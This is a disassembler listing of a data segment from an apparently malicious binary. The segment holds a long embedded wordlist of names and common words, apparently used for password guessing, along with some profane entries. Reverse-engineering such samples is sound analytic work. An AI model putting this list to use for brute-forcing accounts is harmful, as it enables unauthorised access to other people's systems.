align 4
aKarina db 'karina',0 ; DATA XREF: seg001:0042D144o
align 4
aKarie db 'karie',0 ; DATA XREF: seg001:0042D140o
align 4
aKaren db 'karen',0 ; DATA XREF: seg001:0042D13Co
align 4
aKaka db 'kaka',0 ; DATA XREF: seg001:0042D138o
align 4
aJupiter db 'jupiter',0 ; DATA XREF: seg001:0042D134o
aJune db 'june',0 ; DATA XREF: seg001:0042D130o
align 4
aJuliet db 'juliet',0 ; DATA XREF: seg001:0042D12Co
align 4
aJulie db 'julie',0 ; DATA XREF: seg001:0042D128o
align 4
aJulia db 'julia',0 ; DATA XREF: seg001:0042D124o
align 4
aJuicy db 'juicy',0 ; DATA XREF: seg001:0042D120o
align 4
aJuggle db 'juggle',0 ; DATA XREF: seg001:0042D11Co
align 4
aJudy db 'judy',0 ; DATA XREF: seg001:0042D118o
align 4
aJudith db 'judith',0 ; DATA XREF: seg001:0042D114o
align 4
aJoyce db 'joyce',0 ; DATA XREF: seg001:0042D110o
align 4
aJournal db 'journal',0 ; DATA XREF: seg001:0042D10Co
aJoshua db 'joshua',0 ; DATA XREF: seg001:0042D108o
align 4
aJoseph db 'joseph',0 ; DATA XREF: seg001:0042D104o
align 4
aJohnny db 'johnny',0 ; DATA XREF: seg001:0042D100o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: seg001:0042D0FCo
aJohn db 'john',0 ; DATA XREF: seg001:0042D0F8o
align 4
aJody db 'jody',0 ; DATA XREF: seg001:0042D0F4o
align 4
aJoanne db 'joanne',0 ; DATA XREF: seg001:0042D0F0o
align 4
aJixian db 'jixian',0 ; DATA XREF: seg001:0042D0ECo
align 4
aJill db 'jill',0 ; DATA XREF: seg001:0042D0E8o
align 4
aJewelry db 'jewelry',0 ; DATA XREF: seg001:0042D0E4o
aJester db 'jester',0 ; DATA XREF: seg001:0042D0E0o
align 4
aJessica db 'jessica',0 ; DATA XREF: seg001:0042D0DCo
aJerusale db 'jerusale',0 ; DATA XREF: seg001:0042D0D8o
align 10h
aJerry db 'jerry',0 ; DATA XREF: seg001:0042D0D4o
align 4
aJenny db 'jenny',0 ; DATA XREF: seg001:0042D0D0o
align 10h
aJennifer db 'jennifer',0 ; DATA XREF: seg001:0042D0CCo
align 4
aJenni db 'jenni',0 ; DATA XREF: seg001:0042D0C8o
align 4
aJeff db 'jeff',0 ; DATA XREF: seg001:0042D0C4o
align 4
aJeanne db 'jeanne',0 ; DATA XREF: seg001:0042D0C0o
align 4
aJean db 'jean',0 ; DATA XREF: seg001:0042D0BCo
align 4
aJazz db 'jazz',0 ; DATA XREF: seg001:0042D0B8o
align 4
aJava db 'java',0 ; DATA XREF: seg001:0042D0B4o
align 4
aJasmin db 'jasmin',0 ; DATA XREF: seg001:0042D0B0o
align 4
aJapan db 'japan',0 ; DATA XREF: seg001:0042D0ACo
align 4
aJanie db 'janie',0 ; DATA XREF: seg001:0042D0A8o
align 4
aJanice db 'janice',0 ; DATA XREF: seg001:0042D0A4o
align 4
aJanet db 'janet',0 ; DATA XREF: seg001:0042D0A0o
align 4
aJane db 'jane',0 ; DATA XREF: seg001:0042D09Co
align 4
aJail db 'jail',0 ; DATA XREF: seg001:0042D098o
align 4
aJackie db 'jackie',0 ; DATA XREF: seg001:0042D094o
align 4
aIsis db 'isis',0 ; DATA XREF: seg001:0042D090o
align 4
aIrishman db 'irishman',0 ; DATA XREF: seg001:0042D08Co
align 10h
aIrene db 'irene',0 ; DATA XREF: seg001:0042D088o
align 4
aInvent db 'invent',0 ; DATA XREF: seg001:0042D084o
align 10h
aInteger db 'integer',0 ; DATA XREF: seg001:0042D080o
aInside db 'inside',0 ; DATA XREF: seg001:0042D07Co
align 10h
aInput db 'input',0 ; DATA XREF: seg001:0042D078o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: seg001:0042D074o
align 4
aInna db 'inna',0 ; DATA XREF: seg001:0042D070o
align 4
aIngrid db 'ingrid',0 ; DATA XREF: seg001:0042D06Co
align 4
aIngress db 'ingress',0 ; DATA XREF: seg001:0042D068o
aIngres db 'ingres',0 ; DATA XREF: seg001:0042D064o
align 4
aIndians db 'indians',0 ; DATA XREF: seg001:0042D060o
aIndiana db 'indiana',0 ; DATA XREF: seg001:0042D05Co
aIndian db 'indian',0 ; DATA XREF: seg001:0042D058o
align 4
aIndia db 'india',0 ; DATA XREF: seg001:0042D054o
align 4
aInclude db 'include',0 ; DATA XREF: seg001:0042D050o
aImperial db 'imperial',0 ; DATA XREF: seg001:0042D04Co
align 4
aImmortal db 'immortal',0 ; DATA XREF: seg001:0042D048o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: seg001:0042D044o
align 10h
aImage db 'image',0 ; DATA XREF: seg001:0042D040o
align 4
aIllumina db 'illumina',0 ; DATA XREF: seg001:0042D03Co
align 4
aIcecream db 'icecream',0 ; DATA XREF: seg001:0042D038o
align 10h
aHypertxt db 'hypertxt',0 ; DATA XREF: seg001:0042D034o
align 4
aHyper db 'hyper',0 ; DATA XREF: seg001:0042D030o
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: seg001:0042D02Co
align 10h
aHutchins db 'hutchins',0 ; DATA XREF: seg001:0042D028o
align 4
aHunter db 'hunter',0 ; DATA XREF: seg001:0042D024o
align 4
aHunt db 'hunt',0 ; DATA XREF: seg001:0042D020o
align 4
aHttp_0 db 'http',0 ; DATA XREF: seg001:0042D01Co
align 4
aHotel db 'hotel',0 ; DATA XREF: seg001:0042D018o
align 4
aHotdog db 'hotdog',0 ; DATA XREF: seg001:0042D014o
align 4
aHost db 'host',0 ; DATA XREF: seg001:0042D010o
align 4
aHorus db 'horus',0 ; DATA XREF: seg001:0042D00Co
align 4
aHorse db 'horse',0 ; DATA XREF: seg001:0042D008o
align 4
aHorror db 'horror',0 ; DATA XREF: seg001:0042D004o
align 4
aHorrible db 'horrible',0 ; DATA XREF: seg001:0042D000o
align 10h
aHorny db 'horny',0 ; DATA XREF: seg001:0042CFFCo
align 4
aHooters db 'hooters',0 ; DATA XREF: seg001:0042CFF8o
aHooker db 'hooker',0 ; DATA XREF: seg001:0042CFF4o
align 4
aHoney db 'honey',0 ; DATA XREF: seg001:0042CFF0o
align 10h
aHomework db 'homework',0 ; DATA XREF: seg001:0042CFECo
align 4
aHomer db 'homer',0 ; DATA XREF: seg001:0042CFE8o
align 4
aHomepage db 'homepage',0 ; DATA XREF: seg001:0042CFE4o
align 10h
aHollywoo db 'hollywoo',0 ; DATA XREF: seg001:0042CFE0o
align 4
aHolly db 'holly',0 ; DATA XREF: seg001:0042CFDCo
align 4
aHole db 'hole',0 ; DATA XREF: seg001:0042CFD8o
align 4
aHits db 'hits',0 ; DATA XREF: seg001:0042CFD4o
align 4
aHitler db 'hitler',0 ; DATA XREF: seg001:0042CFD0o
align 4
aHighland db 'highland',0 ; DATA XREF: seg001:0042CFCCo
align 4
aHigh db 'high',0 ; DATA XREF: seg001:0042CFC8o
align 10h
aHidden db 'hidden',0 ; DATA XREF: seg001:0042CFC4o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: seg001:0042CFC0o
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: seg001:0042CFBCo
align 10h
aHexadeci db 'hexadeci',0 ; DATA XREF: seg001:0042CFB8o
align 4
aHewlett db 'hewlett',0 ; DATA XREF: seg001:0042CFB4o
aHeroin db 'heroin',0 ; DATA XREF: seg001:0042CFB0o
align 4
aHero db 'hero',0 ; DATA XREF: seg001:0042CFACo
align 4
aHerbert db 'herbert',0 ; DATA XREF: seg001:0042CFA8o
aHerb db 'herb',0 ; DATA XREF: seg001:0042CFA4o
align 4
aHelp db 'help',0 ; DATA XREF: seg001:0042CFA0o
align 4
aHello db 'hello',0 ; DATA XREF: seg001:0042CF9Co
align 4
aHell db 'hell',0 ; DATA XREF: seg001:0042CF98o
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: seg001:0042CF94o
align 4
aHeidi db 'heidi',0 ; DATA XREF: seg001:0042CF90o
align 10h
aHebrides db 'hebrides',0 ; DATA XREF: seg001:0042CF8Co
align 4
aHeather db 'heather',0 ; DATA XREF: seg001:0042CF88o
aHeathen db 'heathen',0 ; DATA XREF: seg001:0042CF84o
aHeat db 'heat',0 ; DATA XREF: seg001:0042CF80o
align 4
aHeadbang db 'headbang',0 ; DATA XREF: seg001:0042CF7Co
align 10h
aHead db 'head',0 ; DATA XREF: seg001:0042CF78o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: seg001:0042CF74o
align 10h
aHaven db 'haven',0 ; DATA XREF: seg001:0042CF70o
align 4
aHate db 'hate',0 ; DATA XREF: seg001:0042CF6Co
align 10h
aHarvey db 'harvey',0 ; DATA XREF: seg001:0042CF68o
align 4
aHarold db 'harold',0 ; DATA XREF: seg001:0042CF64o
align 10h
aHarmony db 'harmony',0 ; DATA XREF: seg001:0042CF60o
aHarddriv db 'harddriv',0 ; DATA XREF: seg001:0042CF5Co
align 4
aHardcore db 'hardcore',0 ; DATA XREF: seg001:0042CF58o
align 10h
aHard db 'hard',0 ; DATA XREF: seg001:0042CF54o
align 4
aHappenin db 'happenin',0 ; DATA XREF: seg001:0042CF50o
align 4
aHandjob db 'handjob',0 ; DATA XREF: seg001:0042CF4Co
aHandily db 'handily',0 ; DATA XREF: seg001:0042CF48o
aHandel db 'handel',0 ; DATA XREF: seg001:0042CF44o
align 4
aHamster db 'hamster',0 ; DATA XREF: seg001:0042CF40o
aHamlet db 'hamlet',0 ; DATA XREF: seg001:0042CF3Co
align 4
aHallowee db 'hallowee',0 ; DATA XREF: seg001:0042CF38o
align 4
aHair db 'hair',0 ; DATA XREF: seg001:0042CF34o
align 10h
aHagar db 'hagar',0 ; DATA XREF: seg001:0042CF30o
align 4
aHacked db 'hacked',0 ; DATA XREF: seg001:0042CF2Co
align 10h
aHack db 'hack',0 ; DATA XREF: seg001:0042CF28o
align 4
aGuntis db 'guntis',0 ; DATA XREF: seg001:0042CF24o
align 10h
aGumption db 'gumption',0 ; DATA XREF: seg001:0042CF20o
align 4
aGuitar db 'guitar',0 ; DATA XREF: seg001:0042CF1Co
align 4
aGuess db 'guess',0 ; DATA XREF: seg001:0042CF18o
align 4
aGucci db 'gucci',0 ; DATA XREF: seg001:0042CF14o
align 4
aGuardian db 'guardian',0 ; DATA XREF: seg001:0042CF10o
align 10h
aGryphon db 'gryphon',0 ; DATA XREF: seg001:0042CF0Co
aGroup db 'group',0 ; DATA XREF: seg001:0042CF08o
align 10h
aGreen db 'green',0 ; DATA XREF: seg001:0042CF04o
align 4
aGreat db 'great',0 ; DATA XREF: seg001:0042CF00o
align 10h
aGrant db 'grant',0 ; DATA XREF: seg001:0042CEFCo
align 4
aGrand db 'grand',0 ; DATA XREF: seg001:0042CEF8o
align 10h
aGrahm db 'grahm',0 ; DATA XREF: seg001:0042CEF4o
align 4
aGraham db 'graham',0 ; DATA XREF: seg001:0042CEF0o
align 10h
aGrades db 'grades',0 ; DATA XREF: seg001:0042CEECo
align 4
aGovermen db 'govermen',0 ; DATA XREF: seg001:0042CEE8o
align 4
aGouge db 'gouge',0 ; DATA XREF: seg001:0042CEE4o
align 4
aGosling db 'gosling',0 ; DATA XREF: seg001:0042CEE0o
aGorges db 'gorges',0 ; DATA XREF: seg001:0042CEDCo
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: seg001:0042CED8o
align 4
aGood db 'good',0 ; DATA XREF: seg001:0042CED4o
align 10h
aGolfer db 'golfer',0 ; DATA XREF: seg001:0042CED0o
align 4
aGolf db 'golf',0 ; DATA XREF: seg001:0042CECCo
align 10h
aGolden db 'golden',0 ; DATA XREF: seg001:0042CEC8o
align 4
aGold db 'gold',0 ; DATA XREF: seg001:0042CEC4o
align 10h
aGlacier db 'glacier',0 ; DATA XREF: seg001:0042CEC0o
aGirl db 'girl',0 ; DATA XREF: seg001:0042CEBCo
align 10h
aGinger db 'ginger',0 ; DATA XREF: seg001:0042CEB8o
align 4
aGina db 'gina',0 ; DATA XREF: seg001:0042CEB4o
align 10h
aGigabyte db 'gigabyte',0 ; DATA XREF: seg001:0042CEB0o
align 4
aGibson db 'gibson',0 ; DATA XREF: seg001:0042CEACo
align 4
aGhost db 'ghost',0 ; DATA XREF: seg001:0042CEA8o
align 4
aGertrude db 'gertrude',0 ; DATA XREF: seg001:0042CEA4o
align 4
aGerm db 'germ',0 ; DATA XREF: seg001:0042CEA0o
align 10h
aGeorge db 'george',0 ; DATA XREF: seg001:0042CE9Co
align 4
aGauss db 'gauss',0 ; DATA XREF: seg001:0042CE98o
align 10h
aGatt db 'gatt',0 ; DATA XREF: seg001:0042CE94o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: seg001:0042CE90o
align 4
aGateway db 'gateway',0 ; DATA XREF: seg001:0042CE8Co
aGarfield db 'garfield',0 ; DATA XREF: seg001:0042CE88o
align 4
aGardner db 'gardner',0 ; DATA XREF: seg001:0042CE84o
aGames db 'games',0 ; DATA XREF: seg001:0042CE80o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: seg001:0042CE7Co
aFungible db 'fungible',0 ; DATA XREF: seg001:0042CE78o
align 4
aFunction db 'function',0 ; DATA XREF: seg001:0042CE74o
align 4
aFudge db 'fudge',0 ; DATA XREF: seg001:0042CE70o
align 10h
aFuckyou db 'fuckyou',0 ; DATA XREF: seg001:0042CE6Co
aFuckme db 'fuckme',0 ; DATA XREF: seg001:0042CE68o
align 10h
aFucking db 'fucking',0 ; DATA XREF: seg001:0042CE64o
aFucker db 'fucker',0 ; DATA XREF: seg001:0042CE60o
align 10h
aFuck db 'fuck',0 ; DATA XREF: seg001:0042CE5Co
align 4
aFryguy db 'fryguy',0 ; DATA XREF: seg001:0042CE58o
align 10h
aFrog db 'frog',0 ; DATA XREF: seg001:0042CE54o
align 4
aFrighten db 'frighten',0 ; DATA XREF: seg001:0042CE50o
align 4
aFriends db 'friends',0 ; DATA XREF: seg001:0042CE4Co
aFriend db 'friend',0 ; DATA XREF: seg001:0042CE48o
align 4
aFriday db 'friday',0 ; DATA XREF: seg001:0042CE44o
align 4
aFrench db 'french',0 ; DATA XREF: seg001:0042CE40o
align 4
aFreedom db 'freedom',0 ; DATA XREF: seg001:0042CE3Co
aFree db 'free',0 ; DATA XREF: seg001:0042CE38o
align 4
aFred db 'fred',0 ; DATA XREF: seg001:0042CE34o
align 4
aFreak db 'freak',0 ; DATA XREF: seg001:0042CE30o
align 4
aFrank db 'frank',0 ; DATA XREF: seg001:0042CE2Co
align 4
aFrance db 'france',0 ; DATA XREF: seg001:0042CE28o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: seg001:0042CE24o
aFourier db 'fourier',0 ; DATA XREF: seg001:0042CE20o
aForsythe db 'forsythe',0 ; DATA XREF: seg001:0042CE1Co
align 10h
aFornicat db 'fornicat',0 ; DATA XREF: seg001:0042CE18o
align 4
aFormat db 'format',0 ; DATA XREF: seg001:0042CE14o
align 4
aForm db 'form',0 ; DATA XREF: seg001:0042CE10o
align 4
aForever db 'forever',0 ; DATA XREF: seg001:0042CE0Co
aForesigh db 'foresigh',0 ; DATA XREF: seg001:0042CE08o
align 10h
aFord db 'ford',0 ; DATA XREF: seg001:0042CE04o
align 4
aForce db 'force',0 ; DATA XREF: seg001:0042CE00o
align 10h
aFootball db 'football',0 ; DATA XREF: seg001:0042CDFCo
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: seg001:0042CDF8o
align 4
aFool db 'fool',0 ; DATA XREF: seg001:0042CDF4o
align 10h
aFood db 'food',0 ; DATA XREF: seg001:0042CDF0o
align 4
aFlowers db 'flowers',0 ; DATA XREF: seg001:0042CDECo
aFlower db 'flower',0 ; DATA XREF: seg001:0042CDE8o
align 4
aFlorida db 'florida',0 ; DATA XREF: seg001:0042CDE4o
aFloat db 'float',0 ; DATA XREF: seg001:0042CDE0o
align 4
aFlakes db 'flakes',0 ; DATA XREF: seg001:0042CDDCo
align 10h
aFishers db 'fishers',0 ; DATA XREF: seg001:0042CDD8o
aFirewall db 'firewall',0 ; DATA XREF: seg001:0042CDD4o
align 4
aFire db 'fire',0 ; DATA XREF: seg001:0042CDD0o
align 4
aFinite db 'finite',0 ; DATA XREF: seg001:0042CDCCo
align 4
aFile db 'file',0 ; DATA XREF: sub_40CD3A+1C91o
; sub_40CD3A+1CFCo ...
align 4
aFight db 'fight',0 ; DATA XREF: seg001:0042CDC4o
align 4
aField db 'field',0 ; DATA XREF: seg001:0042CDC0o
align 4
aFidelity db 'fidelity',0 ; DATA XREF: seg001:0042CDBCo
align 4
aFerrari db 'ferrari',0 ; DATA XREF: seg001:0042CDB8o
aFermat db 'fermat',0 ; DATA XREF: seg001:0042CDB4o
align 4
aFender db 'fender',0 ; DATA XREF: seg001:0042CDB0o
align 10h
aFelicia db 'felicia',0 ; DATA XREF: seg001:0042CDACo
aFeds db 'feds',0 ; DATA XREF: seg001:0042CDA8o
align 10h
aFear db 'fear',0 ; DATA XREF: seg001:0042CDA4o
align 4
aFast db 'fast',0 ; DATA XREF: seg001:0042CDA0o
align 10h
aFart db 'fart',0 ; DATA XREF: seg001:0042CD9Co
align 4
aFaraday db 'faraday',0 ; DATA XREF: seg001:0042CD98o
aFarad db 'farad',0 ; DATA XREF: seg001:0042CD94o
align 4
aFamily db 'family',0 ; DATA XREF: seg001:0042CD90o
align 10h
aFalse db 'false',0 ; DATA XREF: seg001:0042CD8Co
align 4
aFalcon db 'falcon',0 ; DATA XREF: seg001:0042CD88o
align 10h
aFaith db 'faith',0 ; DATA XREF: seg001:0042CD84o
align 4
aFairway db 'fairway',0 ; DATA XREF: seg001:0042CD80o
aExtensio db 'extensio',0 ; DATA XREF: seg001:0042CD7Co
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: seg001:0042CD78o
align 4
aExplorer db 'explorer',0 ; DATA XREF: seg001:0042CD74o
align 4
aExplore db 'explore',0 ; DATA XREF: seg001:0042CD70o
aExplode db 'explode',0 ; DATA XREF: seg001:0042CD6Co
aExpert db 'expert',0 ; DATA XREF: seg001:0042CD68o
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: seg001:0042CD64o
align 4
aEuclid db 'euclid',0 ; DATA XREF: seg001:0042CD60o
align 4
aEternity db 'eternity',0 ; DATA XREF: seg001:0042CD5Co
align 4
aEstate db 'estate',0 ; DATA XREF: seg001:0042CD58o
align 10h
aEstablis db 'establis',0 ; DATA XREF: seg001:0042CD54o
align 4
aErsatz db 'ersatz',0 ; DATA XREF: seg001:0042CD50o
align 4
aErotic db 'erotic',0 ; DATA XREF: seg001:0042CD4Co
align 4
aErin db 'erin',0 ; DATA XREF: seg001:0042CD48o
align 4
aErika db 'erika',0 ; DATA XREF: seg001:0042CD44o
align 4
aErica db 'erica',0 ; DATA XREF: seg001:0042CD40o
align 4
aEric db 'eric',0 ; DATA XREF: seg001:0042CD3Co
align 4
aErenity db 'erenity',0 ; DATA XREF: seg001:0042CD38o
aEnzyme db 'enzyme',0 ; DATA XREF: seg001:0042CD34o
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: seg001:0042CD30o
align 4
aEnter db 'enter',0 ; DATA XREF: seg001:0042CD2Co
align 10h
aEnglish db 'english',0 ; DATA XREF: seg001:0042CD28o
aEngland db 'england',0 ; DATA XREF: seg001:0042CD24o
aEngineer db 'engineer',0 ; DATA XREF: seg001:0042CD20o
align 4
aEngine db 'engine',0 ; DATA XREF: seg001:0042CD1Co
align 4
aEnemy db 'enemy',0 ; DATA XREF: seg001:0042CD18o
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: seg001:0042CD14o
align 4
aEmily db 'emily',0 ; DATA XREF: seg001:0042CD10o
align 10h
aEmerald db 'emerald',0 ; DATA XREF: seg001:0042CD0Co
aEmail db 'email',0 ; DATA XREF: seg001:0042CD08o
align 10h
aEllen db 'ellen',0 ; DATA XREF: seg001:0042CD04o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: seg001:0042CD00o
align 4
aElephant db 'elephant',0 ; DATA XREF: seg001:0042CCFCo
align 10h
aElectron db 'electron',0 ; DATA XREF: seg001:0042CCF8o
align 4
aElanor db 'elanor',0 ; DATA XREF: seg001:0042CCF4o
align 4
aElaine db 'elaine',0 ; DATA XREF: seg001:0042CCF0o
align 4
aEinstein db 'einstein',0 ; DATA XREF: seg001:0042CCECo
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: seg001:0042CCE8o
align 4
aEileen db 'eileen',0 ; DATA XREF: seg001:0042CCE4o
align 4
aEiderdow db 'eiderdow',0 ; DATA XREF: seg001:0042CCE0o
align 4
aEgghead db 'egghead',0 ; DATA XREF: seg001:0042CCDCo
aEdwina db 'edwina',0 ; DATA XREF: seg001:0042CCD8o
align 4
aEdwin db 'edwin',0 ; DATA XREF: seg001:0042CCD4o
align 10h
aEducatio db 'educatio',0 ; DATA XREF: seg001:0042CCD0o
align 4
aEducation db 'education',0 ; DATA XREF: seg001:0042CCCCo
align 4
aEdition db 'edition',0 ; DATA XREF: seg001:0042CCC8o
aEdit db 'edit',0 ; DATA XREF: seg001:0042CCC4o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: seg001:0042CCC0o
align 4
aEdges db 'edges',0 ; DATA XREF: seg001:0042CCBCo
align 4
aEddie db 'eddie',0 ; DATA XREF: seg001:0042CCB8o
align 4
aEcho db 'echo',0 ; DATA XREF: seg001:0042CCB4o
align 4
aEatme db 'eatme',0 ; DATA XREF: seg001:0042CCB0o
align 4
aEasy db 'easy',0 ; DATA XREF: seg001:0042CCACo
align 4
aEasier db 'easier',0 ; DATA XREF: seg001:0042CCA8o
align 4
aEarth db 'earth',0 ; DATA XREF: seg001:0042CCA4o
align 4
aEagle db 'eagle',0 ; DATA XREF: seg001:0042CCA0o
align 4
aEager db 'eager',0 ; DATA XREF: seg001:0042CC9Co
align 4
aDyke db 'dyke',0 ; DATA XREF: seg001:0042CC98o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: seg001:0042CC94o
aDuncan db 'duncan',0 ; DATA XREF: seg001:0042CC90o
align 4
aDulce db 'dulce',0 ; DATA XREF: seg001:0042CC8Co
align 4
aDuke db 'duke',0 ; DATA XREF: seg001:0042CC88o
align 4
aDuelist db 'duelist',0 ; DATA XREF: seg001:0042CC84o
aDude db 'dude',0 ; DATA XREF: seg001:0042CC80o
align 4
aDuck db 'duck',0 ; DATA XREF: seg001:0042CC7Co
align 4
aDrought db 'drought',0 ; DATA XREF: seg001:0042CC78o
aDrive db 'drive',0 ; DATA XREF: seg001:0042CC74o
align 4
aDrdoom db 'drdoom',0 ; DATA XREF: seg001:0042CC70o
align 4
aDragon db 'dragon',0 ; DATA XREF: seg001:0042CC6Co
align 4
aDownload db 'download',0 ; DATA XREF: seg001:0042CC68o
align 4
aDope db 'dope',0 ; DATA XREF: seg001:0042CC64o
align 10h
aDoors db 'doors',0 ; DATA XREF: seg001:0042CC60o
align 4
aDoor db 'door',0 ; DATA XREF: seg001:0042CC5Co
align 10h
aDoonesbu db 'doonesbu',0 ; DATA XREF: seg001:0042CC58o
align 4
aDoomsday db 'doomsday',0 ; DATA XREF: seg001:0042CC54o
align 4
aDoomii db 'doomii',0 ; DATA XREF: seg001:0042CC50o
align 10h
aDoom2 db 'doom2',0 ; DATA XREF: seg001:0042CC4Co
align 4
aDoom db 'doom',0 ; DATA XREF: seg001:0042CC48o
align 10h
aDong db 'dong',0 ; DATA XREF: seg001:0042CC44o
align 4
aDollar db 'dollar',0 ; DATA XREF: seg001:0042CC40o
align 10h
aDoctor db 'doctor',0 ; DATA XREF: seg001:0042CC3Co
align 4
aDisplay db 'display',0 ; DATA XREF: seg001:0042CC38o
aDisney db 'disney',0 ; DATA XREF: seg001:0042CC34o
align 4
aDiskette db 'diskette',0 ; DATA XREF: seg001:0042CC30o
align 4
aDisk_0 db 'disk',0 ; DATA XREF: seg001:0042CC2Co
align 4
aDiscover db 'discover',0 ; DATA XREF: seg001:0042CC28o
align 4
aDisclose db 'disclose',0 ; DATA XREF: seg001:0042CC24o
align 4
aDiscipli db 'discipli',0 ; DATA XREF: seg001:0042CC20o
align 10h
aDisc db 'disc',0 ; DATA XREF: seg001:0042CC1Co
align 4
aDirty db 'dirty',0 ; DATA XREF: seg001:0042CC18o
align 10h
aDirector db 'director',0 ; DATA XREF: seg001:0042CC14o
align 4
aDirect db 'direct',0 ; DATA XREF: seg001:0042CC10o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: seg001:0042CC0Co
aDinosaur db 'dinosaur',0 ; DATA XREF: seg001:0042CC08o
align 4
aDigital db 'digital',0 ; DATA XREF: seg001:0042CC04o
aDieter db 'dieter',0 ; DATA XREF: seg001:0042CC00o
align 4
aDiet db 'diet',0 ; DATA XREF: seg001:0042CBFCo
align 10h
aDiehard db 'diehard',0 ; DATA XREF: seg001:0042CBF8o
aDick db 'dick',0 ; DATA XREF: seg001:0042CBF4o
align 10h
aDice db 'dice',0 ; DATA XREF: seg001:0042CBF0o
align 4
aDiane db 'diane',0 ; DATA XREF: seg001:0042CBECo
align 10h
aDiana db 'diana',0 ; DATA XREF: seg001:0042CBE8o
align 4
aDiamond db 'diamond',0 ; DATA XREF: seg001:0042CBE4o
aDial db 'dial',0 ; DATA XREF: seg001:0042CBE0o
align 4
aDevice db 'device',0 ; DATA XREF: seg001:0042CBDCo
align 10h
aDevelop db 'develop',0 ; DATA XREF: seg001:0042CBD8o
aDesperat db 'desperat',0 ; DATA XREF: seg001:0042CBD4o
align 4
aDesktop db 'desktop',0 ; DATA XREF: seg001:0042CBD0o
aDesk db 'desk',0 ; DATA XREF: seg001:0042CBCCo
align 4
aDesiree db 'desiree',0 ; DATA XREF: seg001:0042CBC8o
aDennis db 'dennis',0 ; DATA XREF: seg001:0042CBC4o
align 4
aDenise db 'denise',0 ; DATA XREF: seg001:0042CBC0o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: seg001:0042CBBCo
align 4
aDeluge db 'deluge',0 ; DATA XREF: seg001:0042CBB8o
align 10h
aDelta db 'delta',0 ; DATA XREF: seg001:0042CBB4o
align 4
aDefoe db 'defoe',0 ; DATA XREF: seg001:0042CBB0o
align 10h
aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg001:0042CBACo
aDeck db 'deck',0 ; DATA XREF: seg001:0042CBA4o
align 10h
aDecember db 'december',0 ; DATA XREF: seg001:0042CBA0o
align 4
aDebug db 'debug',0 ; DATA XREF: seg001:0042CB9Co
align 4
aDeborah db 'deborah',0 ; DATA XREF: seg001:0042CB98o
aDebbie db 'debbie',0 ; DATA XREF: seg001:0042CB94o
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: seg001:0042CB90o
align 10h
aDead db 'dead',0 ; DATA XREF: seg001:0042CB8Co
align 4
aDawn db 'dawn',0 ; DATA XREF: seg001:0042CB88o
align 10h
aDave db 'dave',0 ; DATA XREF: seg001:0042CB84o
align 4
aData db 'data',0 ; DATA XREF: seg001:0042CB80o
align 10h
aDarkaven db 'darkaven',0 ; DATA XREF: seg001:0042CB7Co
align 4
aDark db 'dark',0 ; DATA XREF: seg001:0042CB78o
align 4
aDapper db 'dapper',0 ; DATA XREF: seg001:0042CB74o
align 4
aDanny db 'danny',0 ; DATA XREF: seg001:0042CB70o
align 4
aDanielle db 'danielle',0 ; DATA XREF: seg001:0042CB6Co
align 10h
aDaniel db 'daniel',0 ; DATA XREF: seg001:0042CB68o
align 4
aDancer db 'dancer',0 ; DATA XREF: seg001:0042CB64o
align 10h
aDana db 'dana',0 ; DATA XREF: seg001:0042CB60o
align 4
aDaisy db 'daisy',0 ; DATA XREF: seg001:0042CB5Co
align 10h
aDaemon db 'daemon',0 ; DATA XREF: seg001:0042CB58o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: seg001:0042CB54o
aCyberspa db 'cyberspa',0 ; DATA XREF: seg001:0042CB50o
align 4
aCyberpun db 'cyberpun',0 ; DATA XREF: seg001:0042CB4Co
align 4
aCyber db 'cyber',0 ; DATA XREF: seg001:0042CB48o
align 10h
aCustomer db 'customer',0 ; DATA XREF: seg001:0042CB44o
align 4
aCunt db 'cunt',0 ; DATA XREF: seg001:0042CB40o
align 4
aCshrc db 'cshrc',0 ; DATA XREF: seg001:0042CB3Co
align 4
aCrystal db 'crystal',0 ; DATA XREF: seg001:0042CB38o
aCristina db 'cristina',0 ; DATA XREF: seg001:0042CB34o
align 10h
aCriminal db 'criminal',0 ; DATA XREF: seg001:0042CB30o
align 4
aCrime db 'crime',0 ; DATA XREF: seg001:0042CB2Co
align 4
aCretin db 'cretin',0 ; DATA XREF: seg001:0042CB28o
align 4
aCreosote db 'creosote',0 ; DATA XREF: seg001:0042CB24o
align 4
aCredit db 'credit',0 ; DATA XREF: seg001:0042CB20o
align 10h
aCreature db 'creature',0 ; DATA XREF: seg001:0042CB1Co
align 4
aCreation db 'creation',0 ; DATA XREF: seg001:0042CB18o
align 4
aCreate db 'create',0 ; DATA XREF: seg001:0042CB14o
align 10h
aCream db 'cream',0 ; DATA XREF: seg001:0042CB10o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: seg001:0042CB0Co
align 4
aCrack db 'crack',0 ; DATA XREF: seg001:0042CB08o
align 4
aCowboy db 'cowboy',0 ; DATA XREF: seg001:0042CB04o
align 4
aCouscous db 'couscous',0 ; DATA XREF: seg001:0042CB00o
align 10h
aCountry db 'country',0 ; DATA XREF: seg001:0042CAFCo
aCounters db 'counters',0 ; DATA XREF: seg001:0042CAF8o
align 4
aCorrect db 'correct',0 ; DATA XREF: seg001:0042CAF4o
aCorneliu db 'corneliu',0 ; DATA XREF: seg001:0042CAF0o
align 4
aCopy db 'copy',0 ; DATA XREF: seg001:0042CAECo
align 10h
